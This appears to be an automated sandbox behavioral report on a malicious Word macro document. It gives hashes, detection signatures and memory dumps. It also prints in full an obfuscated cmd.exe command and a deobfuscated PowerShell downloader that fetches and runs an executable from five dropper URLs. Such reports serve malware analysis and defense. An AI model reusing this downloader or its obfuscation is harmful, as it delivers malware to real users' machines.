Behavioral Report

General

Target

zcekhrvm.doc
Size

106KB
MD5

30326e79afdba5026d51ab50b37939d2
SHA1

b4b420c4a464d12f62b94c65aff4ba230c95f3f2
SHA256

403fdb65274fbfeccb8868e0b400f3ee2281426c7dbbdc7bdb263dff0979d704
SHA512

9821a19b0abb1c7ec8f929a47926bdd5a175a006e56e47cba8995cabc1de8c2b04d80b4ace7e7d6227544f58d00efc89f7d569da3bd917d70e42ae1c8dd9e0ce

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://amedion.net/uNMU39B

exe.dropper

http://biciculturabcn.com/6s97jYza

exe.dropper

http://valenetinternet.com.br/3Rdtv

exe.dropper

http://goshowcar.com/9RVqaX

exe.dropper

http://wheelbalancetraining.com/9il

Signatures

Process spawned unexpected child process ⋅ 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

Cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	2032	4716	Cmd.exe	WINWORD.EXE

Blocklisted process makes network request ⋅ 2 IoCs

Processes:

powershell.exe

flow pid process

59 4956 powershell.exe
60 4956 powershell.exe
An obfuscated cmd.exe command-line is typically used to evade detection. ⋅ 1 IoCs

Processes:

Cmd.exe

pid process

2032 Cmd.exe

flow	pid	process
59	4956	powershell.exe
60	4956	powershell.exe

pid	process
2032	Cmd.exe

Checks processor information in registry ⋅ 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

TTPs:

Query Registry System Information Discovery

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry ⋅ 2 TTPs 3 IoCs

TTPs:

Query Registry System Information Discovery

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener ⋅ 2 IoCs

Processes:

WINWORD.EXE

pid process

4716 WINWORD.EXE
4716 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses ⋅ 2 IoCs

Processes:

powershell.exe

pid process

4956 powershell.exe
4956 powershell.exe
Suspicious use of AdjustPrivilegeToken ⋅ 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4956 powershell.exe
Suspicious use of SetWindowsHookEx ⋅ 7 IoCs

Processes:

WINWORD.EXE

pid process

4716 WINWORD.EXE
4716 WINWORD.EXE
4716 WINWORD.EXE
4716 WINWORD.EXE
4716 WINWORD.EXE
4716 WINWORD.EXE
4716 WINWORD.EXE

pid	process
4716	WINWORD.EXE
4716	WINWORD.EXE

pid	process
4956	powershell.exe
4956	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4956	powershell.exe

pid	process
4716	WINWORD.EXE
4716	WINWORD.EXE
4716	WINWORD.EXE
4716	WINWORD.EXE
4716	WINWORD.EXE
4716	WINWORD.EXE
4716	WINWORD.EXE

Suspicious use of WriteProcessMemory ⋅ 4 IoCs

Processes:

WINWORD.EXECmd.exe

description	pid	process	target process
PID 4716 wrote to memory of 2032	4716	WINWORD.EXE	Cmd.exe
PID 4716 wrote to memory of 2032	4716	WINWORD.EXE	Cmd.exe
PID 2032 wrote to memory of 4956	2032	Cmd.exe	powershell.exe
PID 2032 wrote to memory of 4956	2032	Cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\zcekhrvm.doc" /o ""

Checks processor information in registry
Enumerates system info in registry
Suspicious behavior: AddClipboardFormatListener
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory

PID:4716

C:\Windows\SYSTEM32\Cmd.exe

Cmd /V:ON/C"set # =wjthMMiMUrvGUsCvwHWNTVrp=/xoau-blS9P:)(7n6y}B;eFz31,d{XkgcY$Dm '\IKf.q@E+R&&for %p in (23,27,16,46,22,13,3,46,32,32,62,59,23,66,48,24,40,46,16,30,27,31,1,46,57,2,62,19,46,2,68,18,46,31,14,32,6,46,40,2,45,59,21,71,67,24,63,3,2,2,23,36,25,25,28,61,46,52,6,27,40,68,40,46,2,25,29,19,7,12,49,34,44,70,3,2,2,23,36,25,25,31,6,57,6,57,29,32,2,29,22,28,31,57,40,68,57,27,61,25,41,13,34,39,1,58,48,28,70,3,2,2,23,36,25,25,15,28,32,46,40,46,2,6,40,2,46,22,40,46,2,68,57,27,61,68,31,22,25,49,73,52,2,15,70,3,2,2,23,36,25,25,56,27,13,3,27,16,57,28,22,68,57,27,61,25,34,73,21,69,28,54,70,3,2,2,23,36,25,25,16,3,46,46,32,31,28,32,28,40,57,46,2,22,28,6,40,6,40,56,68,57,27,61,25,34,6,32,63,68,33,23,32,6,2,38,63,70,63,37,45,59,6,65,54,62,24,62,63,50,41,34,63,45,59,65,35,2,24,59,46,40,15,36,2,46,61,23,72,63,64,63,72,59,6,65,54,72,63,68,46,26,46,63,45,67,27,22,46,28,57,3,38,59,66,16,47,62,6,40,62,59,21,71,67,37,53,2,22,42,53,59,23,66,48,68,60,27,16,40,32,27,28,52,47,6,32,46,38,59,66,16,47,51,62,59,65,35,2,37,45,33,2,28,22,2,30,35,22,27,57,46,13,13,62,59,65,35,2,45,31,22,46,28,55,45,43,57,28,2,57,3,53,43,43,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,80)do set ~ =!~ !!# :~%p,1!&&if %p geq 80 call %~ :*~ !=%"

Process spawned unexpected child process
An obfuscated cmd.exe command-line is typically used to evade detection.
Suspicious use of WriteProcessMemory

PID:2032

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell $pKz=new-object Net.WebClient;$VEf='http://amedion.net/uNMU39B@http://biciculturabcn.com/6s97jYza@http://valenetinternet.com.br/3Rdtv@http://goshowcar.com/9RVqaX@http://wheelbalancetraining.com/9il'.Split('@');$iIX = '169';$IPt=$env:temp+'\'+$iIX+'.exe';foreach($KwF in $VEf){try{$pKz.DownloadFile($KwF, $IPt);Start-Process $IPt;break;}catch{}}

Blocklisted process makes network request
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken

PID:4956

Network

MITRE ATT&CK Matrix

Collection

Command and Control

Credential Access

Defense Evasion

Discovery

Execution

Exfiltration

Impact

Initial Access

Lateral Movement

Persistence

Privilege Escalation

Replay Monitor

00:00 00:00

Downloads

memory/2032-137-0x0000000000000000-mapping.dmp

Download
memory/4716-136-0x00007FFA978B0000-0x00007FFA978C0000-memory.dmp

Filesize
64KB

Download
memory/4716-142-0x00007FFA99C90000-0x00007FFA99CA0000-memory.dmp

Filesize
64KB

Download
memory/4716-132-0x00007FFA99C90000-0x00007FFA99CA0000-memory.dmp

Filesize
64KB

Download
memory/4716-130-0x00007FFA99C90000-0x00007FFA99CA0000-memory.dmp

Filesize
64KB

Download
memory/4716-135-0x00007FFA978B0000-0x00007FFA978C0000-memory.dmp

Filesize
64KB

Download
memory/4716-131-0x00007FFA99C90000-0x00007FFA99CA0000-memory.dmp

Filesize
64KB

Download
memory/4716-134-0x00007FFA99C90000-0x00007FFA99CA0000-memory.dmp

Filesize
64KB

Download
memory/4716-144-0x00007FFA99C90000-0x00007FFA99CA0000-memory.dmp

Filesize
64KB

Download
memory/4716-145-0x00007FFA99C90000-0x00007FFA99CA0000-memory.dmp

Filesize
64KB

Download
memory/4716-143-0x00007FFA99C90000-0x00007FFA99CA0000-memory.dmp

Filesize
64KB

Download
memory/4716-133-0x00007FFA99C90000-0x00007FFA99CA0000-memory.dmp

Filesize
64KB

Download
memory/4956-140-0x00007FFAAE120000-0x00007FFAAEBE1000-memory.dmp

Filesize
10MB

Download
memory/4956-139-0x000001F4C1370000-0x000001F4C1392000-memory.dmp

Filesize
136KB

Download
memory/4956-138-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Downloads